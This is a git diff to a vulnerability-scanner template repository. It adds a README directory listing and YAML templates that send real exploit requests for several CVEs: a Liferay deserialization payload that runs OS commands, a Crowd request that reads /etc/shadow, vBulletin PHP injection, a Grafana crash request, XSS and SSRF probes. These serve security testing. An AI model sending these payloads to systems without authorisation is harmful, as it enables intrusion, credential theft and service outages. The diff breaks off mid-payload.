Update README.md

CVE-2020-7961 - Fix Payload (for Cross-platform)

README.md

@@ -1,5 +1,250 @@
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
 
+<details>
+<summary>Template Directory</summary>
+
+```
+├── LICENSE.md
+├── README.md
+├── cves
+│   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-9506.yaml
+│   ├── CVE-2017-9841.yaml
+│   ├── CVE-2018-0296.yaml
+│   ├── CVE-2018-1000129.yaml
+│   ├── CVE-2018-11409.yaml
+│   ├── CVE-2018-11759.yaml
+│   ├── CVE-2018-1247.yaml
+│   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-14728.yaml
+│   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19439.yaml
+│   ├── CVE-2018-20824.yaml
+│   ├── CVE-2018-2791.yaml
+│   ├── CVE-2018-3714.yaml
+│   ├── CVE-2018-3760.yaml
+│   ├── CVE-2018-5230.yaml
+│   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14974.yaml
+│   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16759-1.yaml
+│   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-18394.yaml
+│   ├── CVE-2019-19368.yaml
+│   ├── CVE-2019-19781.yaml
+│   ├── CVE-2019-19908.yaml
+│   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3799.yaml
+│   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8449.yaml
+│   ├── CVE-2019-8451.yaml
+│   ├── CVE-2019-8903.yaml
+│   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-10199.yaml
+│   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12720.yaml
+│   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-3187.yaml
+│   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-5284.yaml
+│   ├── CVE-2020-5405.yaml
+│   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5902.yaml
+│   ├── CVE-2020-6287.yaml
+│   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7961.yaml
+│   ├── CVE-2020-8091.yaml
+│   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8191.yaml
+│   ├── CVE-2020-8193.yaml
+│   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8512.yaml
+│   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9484.yaml
+│   └── CVE-2020-9757.yaml
+├── default-credentials
+│   ├── grafana-default-credential.yaml
+│   ├── rabbitmq-default-admin.yaml
+│   └── tomcat-manager-default.yaml
+├── dns
+│   ├── azure-takeover-detection.yaml
+│   ├── cname-service-detector.yaml
+│   ├── dead-host-with-cname.yaml
+│   └── servfail-refused-hosts.yaml
+├── files
+│   ├── apc-info.yaml
+│   ├── cgi-test-page.yaml
+│   ├── debug-pprof.yaml
+│   ├── dir-listing.yaml
+│   ├── docker-registry.yaml
+│   ├── drupal-install.yaml
+│   ├── elasticsearch.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-svn.yaml
+│   ├── filezilla.yaml
+│   ├── firebase-detect.yaml
+│   ├── git-config.yaml
+│   ├── htaccess-config.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jolokia.yaml
+│   ├── laravel-env.yaml
+│   ├── lazy-file.yaml
+│   ├── phpinfo.yaml
+│   ├── public-tomcat-instance.yaml
+│   ├── security.txt.yaml
+│   ├── server-status-localhost.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── tomcat-scripts.yaml
+│   ├── wadl-files.yaml
+│   ├── web-config.yaml
+│   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-user-enumeration.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── zip-backup-files.yaml
+├── generic-detections
+│   ├── basic-xss-prober.yaml
+│   ├── general-tokens.yaml
+│   └── top-15-xss.yaml
+├── panels
+│   ├── atlassian-crowd-panel.yaml
+│   ├── cisco-asa-panel.yaml
+│   ├── citrix-adc-gateway-detect.yaml
+│   ├── compal.yaml
+│   ├── crxde.yaml
+│   ├── docker-api.yaml
+│   ├── fortinet-fortigate-panel.yaml
+│   ├── globalprotect-panel.yaml
+│   ├── grafana-detect.yaml
+│   ├── jenkins-asyncpeople.yaml
+│   ├── jmx-console.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── mongo-express-web-gui.yaml
+│   ├── parallels-html-client.yaml
+│   ├── phpmyadmin-panel.yaml
+│   ├── pulse-secure-panel.yaml
+│   ├── rabbitmq-dashboard.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sap-recon-detect.yaml
+│   ├── sophos-fw-version-detect.yaml
+│   ├── supervpn-panel.yaml
+│   ├── swagger-panel.yaml
+│   ├── tikiwiki-cms.yaml
+│   ├── weave-scope-dashboard-detect.yaml
+│   └── webeditors.yaml
+├── payloads
+│   └── CVE-2020-6287.xml
+├── security-misconfiguration
+│   ├── basic-cors-flash.yaml
+│   ├── basic-cors.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── jira-service-desk-signup.yaml
+│   ├── jira-unauthenticated-dashboards.yaml
+│   ├── jira-unauthenticated-popular-filters.yaml
+│   ├── jira-unauthenticated-projects.yaml
+│   ├── jira-unauthenticated-user-picker.yaml
+│   ├── rack-mini-profiler.yaml
+│   ├── springboot-detect.yaml
+│   ├── wamp-xdebug-detect.yaml
+│   └── wordpress-accessible-wpconfig.yaml
+├── subdomain-takeover
+│   ├── detect-all-takeovers.yaml
+│   └── s3-subtakeover.yaml
+├── technologies
+│   ├── bigip-config-utility-detect.yaml
+│   ├── citrix-vpn-detect.yaml
+│   ├── clockwork-php-page.yaml
+│   ├── couchdb-detect.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
+│   ├── graphql.yaml
+│   ├── home-assistant.yaml
+│   ├── jaspersoft-detect.yaml
+│   ├── jira-detect.yaml
+│   ├── liferay-portal-detect.yaml
+│   ├── linkerd-badrule-detect.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── netsweeper-webadmin-detect.yaml
+│   ├── ntlm-directories.yaml
+│   ├── prometheus-exposed-panel.yaml
+│   ├── s3-detect.yaml
+│   ├── sap-netweaver-as-java-detect.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sql-server-reporting.yaml
+│   ├── tech-detect.yaml
+│   ├── weblogic-detect.yaml
+│   └── werkzeug-debugger-detect.yaml
+├── tokens
+│   ├── amazon-mws-auth-token-value.yaml
+│   ├── aws-access-key-value.yaml
+│   ├── google-api-key.yaml
+│   ├── http-username-password.yaml
+│   ├── mailchimp-api-key.yaml
+│   └── slack-access-token.yaml
+├── vulnerabilities
+│   ├── cached-aem-pages.yaml
+│   ├── couchdb-adminparty.yaml
+│   ├── crlf-injection.yaml
+│   ├── discourse-xss.yaml
+│   ├── git-config-nginxoffbyslash.yaml
+│   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── microstrategy-ssrf.yaml
+│   ├── moodle-filter-jmol-lfi.yaml
+│   ├── moodle-filter-jmol-xss.yaml
+│   ├── nginx-module-vts-xss.yaml
+│   ├── open-redirect.yaml
+│   ├── oracle-ebs-bispgraph-file-access.yaml
+│   ├── pdf-signer-ssti-to-rce.yaml
+│   ├── rce-shellshock-user-agent.yaml
+│   ├── rce-via-java-deserialization.yaml
+│   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tikiwiki-reflected-xss.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
+│   ├── twig-php-ssti.yaml
+│   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-wordfence-xss.yaml
+│   └── x-forwarded-host-injection.yaml
+└── workflows
+    ├── bigip-pwner-workflow.yaml
+    ├── grafana-workflow.yaml
+    ├── jira-exploitaiton-workflow.yaml
+    ├── liferay-rce-workflow.yaml
+    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── rabbitmq-workflow.yaml
+    ├── sap-netweaver-workflow.yaml
+    ├── springboot-pwner-workflow.yaml
+    ├── vbulletin-workflow.yaml
+    └── wordpress-workflow.yaml
+```
+
+</details>
+
+13 directories, **214 templates**. 
+
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
 ------

cves/CVE-2017-9841.yaml

@@ -0,0 +1,36 @@
+id: CVE-2017-9841
+
+info:
+  name: CVE-2017-9841
+  author: Random-Robbie
+  severity: High
+
+  # Reference to exploit
+  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+  # https://github.com/RandomRobbieBF/phpunit-brute
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "this version of phpunit requires php 5"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2018-11759.yaml

@@ -3,14 +3,15 @@ id: CVE-2018-11759
 info:
   name: Apache Tomcat JK Status Manager Access
   author: Harsh Bothra
-  severity: Medium
+  severity: medium
 
-# source:- https://github.com/immunIT/CVE-2018-11759
+# Source:- https://github.com/immunIT/CVE-2018-11759
 
 requests:
   - method: GET
     path:
       - '{{BaseURL}}/jkstatus'
+      - '{{BaseURL}}/jkstatus;'
 
     matchers-condition: and
     matchers:

cves/CVE-2019-11580.yaml

@@ -0,0 +1,38 @@
+id: CVE-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-16759-1.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759-1
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+
+# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"

cves/CVE-2019-18394.yaml

@@ -0,0 +1,17 @@
+id: CVE-2019-18394
+
+info:
+  name: Openfire Full Read SSRF
+  author: pdteam - nuclei.projectdiscovery.io
+  severity: critical
+
+  # Source:- https://swarm.ptsecurity.com/openfire-admin-console/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
+    matchers:
+      - type: word
+        words:
+          - <h1>Burp Collaborator Server</h1>

cves/CVE-2019-19985.yaml

@@ -0,0 +1,33 @@
+id: CVE-2019-19985
+
+info:
+  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
+  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48698
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - Name
+          - Email
+          - Status
+          - Created On
+        condition: and
+        part: body
+
+      - type: word
+        words:
+          - "Content-Disposition: attachment; filename=all-contacts.csv;"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/CVE-2019-2725.yaml

@@ -0,0 +1,41 @@
+id: CVE-2019-2725
+
+info:
+  name: Oracle WebLogic Server - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
+  # Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
+  # Easily exploitable vulnerability allows unauthenticated attacker
+  # with network access via HTTP to compromise Oracle WebLogic Server.
+  # Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  # --
+  # References:
+  # > https://paper.seebug.org/910/
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/_async/AsyncResponseService"
+      - "{{BaseURL}}:7001/_async/AsyncResponseService"
+    body: >-
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+      xmlns:ads="http://www.w3.org/2005/08/addressing">
+        <soapenv:Header></soapenv:Header>
+        <soapenv:Body></soapenv:Body>
+      </soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "soapenv:Envelope"
+        part: body
+      - type: word
+        words:
+          - "X-Powered-By: Servlet"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2019-6112.yaml

@@ -0,0 +1,30 @@
+id: CVE-2019-6112
+
+info:
+  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
+  author: dwisiswant0
+  severity: medium
+
+  # A Cross-site scripting (XSS) vulnerability
+  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
+  # allows remote attackers to inject arbitrary web script or HTML
+  # via the keyword parameter (aka $search_term or the Search field).
+  # --
+  # References:
+  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
+          - "alert(1337)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-7609.yaml

@@ -0,0 +1,39 @@
+id: CVE-2019-7609
+
+info:
+  name: Kibana Timelion Arbitrary Code Execution
+  author: dwisiswant0
+  severity: critical
+
+  # Kibana versions before 5.6.15 and 6.6.1
+  # contain an arbitrary code execution flaw in the Timelion visualizer.
+  # An attacker with access to the Timelion application could send a request
+  # that will attempt to execute javascript code.
+  # This could possibly lead to an attacker executing arbitrary commands
+  # with permissions of the Kibana process on the host system.
+  # --
+  # References:
+  # - https://github.com/mpgn/CVE-2019-7609
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/timelion/run"
+      - "{{BaseURL}}:5601/api/timelion/run"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+      Content-Type: "application/json; charset=utf-8"
+    body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "seriesList"
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2019-9978.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-9978
+
+info:
+  name: WordPress social-warfare RFI
+  author: madrobot
+  severity: critical
+
+  # Reference:- https://github.com/mpgn/CVE-2019-9978
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ip-api.com/json"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "timezone"
+          - "status"
+          - "country"
+        condition: and
+        part: body

cves/CVE-2020-13379.yaml

@@ -0,0 +1,21 @@
+id: CVE-2020-13379
+
+info:
+  name: Unauthenticated Grafana DoS
+  author: pxmme1337
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48638
+  # WARNING
+  # This vulnerability results in complete crashing of the grafana-server application.
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - "{{BaseURL}}/"
+    matchers:
+      - type: status
+        status:
+          - 502

cves/CVE-2020-7961.yaml

@@ -3,21 +3,58 @@ id: CVE-2020-7961
 info:
   name: Liferay Portal Unauthenticated RCE
   author: dwisiswant0
-  severity: high
+  severity: critical
+
+  # Deserialization of Untrusted Data in
+  # Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers
+  # to execute arbitrary code via JSON web services (JSONWS).
+  # -
+  # References:
+  # > https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
 
 requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/api/jsonws/invoke"
-      - "{{BaseURL}}:8080/api/jsonws/invoke"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
-      Connection: "close"
-      Content-Type: "application/x-www-form-urlencoded"
-      cmd2: "bash -c 'echo \"bm9uZXhpc3RlbnQ6MTMzNwo=\" | base64 -d'"
-    body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
+  - payloads:
+      command:
+        - "systeminfo" # Windows
+        - "lsb_release -a" # Linux
+        - "sysctl kern.ostype" # macOS
+      port:
+        - "80"
+        - "443"
+        - "8080"
+    attack: sniper
+    raw:
+      - |
+        POST /api/jsonws/invoke HTTP/1.1
+        Host: {{Hostname}}:port
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+        Content-Length: 4938
+        Accept: */*
+        Accept-Language: en
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
+        X-Requested-With: XMLHttpRequest
+        cmd2: command
+        Accept-Encoding: gzip, deflate
+
+        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C